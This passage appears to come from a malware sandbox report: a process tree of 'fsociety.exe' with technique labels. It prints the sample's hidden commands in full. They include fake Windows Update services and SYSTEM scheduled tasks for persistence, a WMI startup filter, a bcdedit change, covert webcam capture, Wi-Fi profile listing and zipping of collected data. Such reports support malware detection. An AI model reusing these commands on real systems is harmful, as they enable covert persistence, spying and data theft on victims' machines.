        5⤵
        
        PID:6536
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
      4⤵
      PID:896
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
        5⤵
        
        PID:7440
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
      4⤵
      PID:7040
    - - C:\Windows\system32\sc.exe
        
        sc description WindowsUpdate "Provides Windows system updates"
        5⤵
        
        PID:7592
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc start WindowsUpdate >nul 2>&1
      4⤵
      PID:6208
    - - C:\Windows\system32\sc.exe
        
        sc start WindowsUpdate
        5⤵
        
        PID:6256
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop SystemUpdate >nul 2>&1
      4⤵
      PID:5220
    - - C:\Windows\system32\sc.exe
        
        sc stop SystemUpdate
        5⤵
        Launches sc.exe
        
        PID:4836
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete SystemUpdate >nul 2>&1
      4⤵
      PID:5808
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240689593.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240689593.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:3532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240689593.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240689593.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan show profile
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6492
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6776
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240689453\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
    3⤵
    PID:2044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240689453\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6772

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
- Executes dropped EXE
PID:5224
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:3260
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:1648
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:2864
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4516
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4512
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:4584
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:5088
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:2020
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:1092
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:2500
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:3396
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5696
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:956
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:1752
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:1052
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:6036
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:5000
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:4564
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      Launches sc.exe
      PID:1640
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:5340
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:5792
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:4488
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      Launches sc.exe
      PID:4484
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:564
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:6044
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3368
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:1588
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:2024
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:2944
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:2148
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:784
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:1052
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:232
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:4660
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:5488
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6364
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:7032
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6400
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:5300
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6708
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:6276
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:5664
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:6816
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:6712
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:7740
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8168
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7112
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7976
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8124
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6548
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8012
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7528
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:6216

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
- Executes dropped EXE
PID:5840
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:5484
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:5540
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5480
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      Launches sc.exe
      PID:956
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:5716
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4516
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5996
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:5920
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6116
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:5048
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:4656
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:564
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:4228
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:5040
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:4996
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:3564
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:3244
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:3360
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:4476
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:3428
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:1188
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:2560
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:4812
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:4268
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:4428
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:6056
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:2516
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:1792
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:4440
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:3928
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4312
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:5532
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:5984
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:3188
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:4504
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      Launches sc.exe
      PID:4172
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:2424
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:4164
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3996
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:4268
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:5692
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:5000
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:3396
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4512
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:1264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5668
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:3432
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:5248
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1744
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:1044
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2028
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:588
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5504
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:1308
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5800
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:5236
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:6284
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:6748
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:6424
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6872
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240701078.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240701078.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:6664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240701078.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240701078.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7004
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:5884
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:6280
    - - C:\Windows\system32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        Launches sc.exe
        
        PID:6480
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete WindowsUpdate >nul 2>&1
      4⤵
      PID:7960
    - - C:\Windows\system32\sc.exe
        
        sc delete WindowsUpdate
        5⤵
        
        PID:8012
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      Executes a command shell one-liner
      PID:5596
    - - C:\Windows\system32\sc.exe
        
        sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
        5⤵
        
        PID:6780
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
      4⤵
      PID:7768
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate start= boot
        5⤵
        
        PID:5644
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
      4⤵
      PID:3316
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate type= own
        5⤵
        
        PID:7212
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
      4⤵
      PID:7940
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate obj= LocalSystem
        5⤵
        
        PID:6600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:7428
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:8016
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240700906\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
    3⤵
    PID:1640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240700906\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:7000

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
PID:732
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  PID:1652
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:2688
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  PID:5700
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:944
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:3068
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:1580
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2072
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:2264
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  PID:584
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:5384
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2860
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:5592
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  PID:3884
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:2060
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  PID:5912
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:5684
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:5056
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    - Launches sc.exe
    PID:3672
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:3932
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:3824
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:5836
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:3800
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:464
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:240
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:5952
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:1576
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
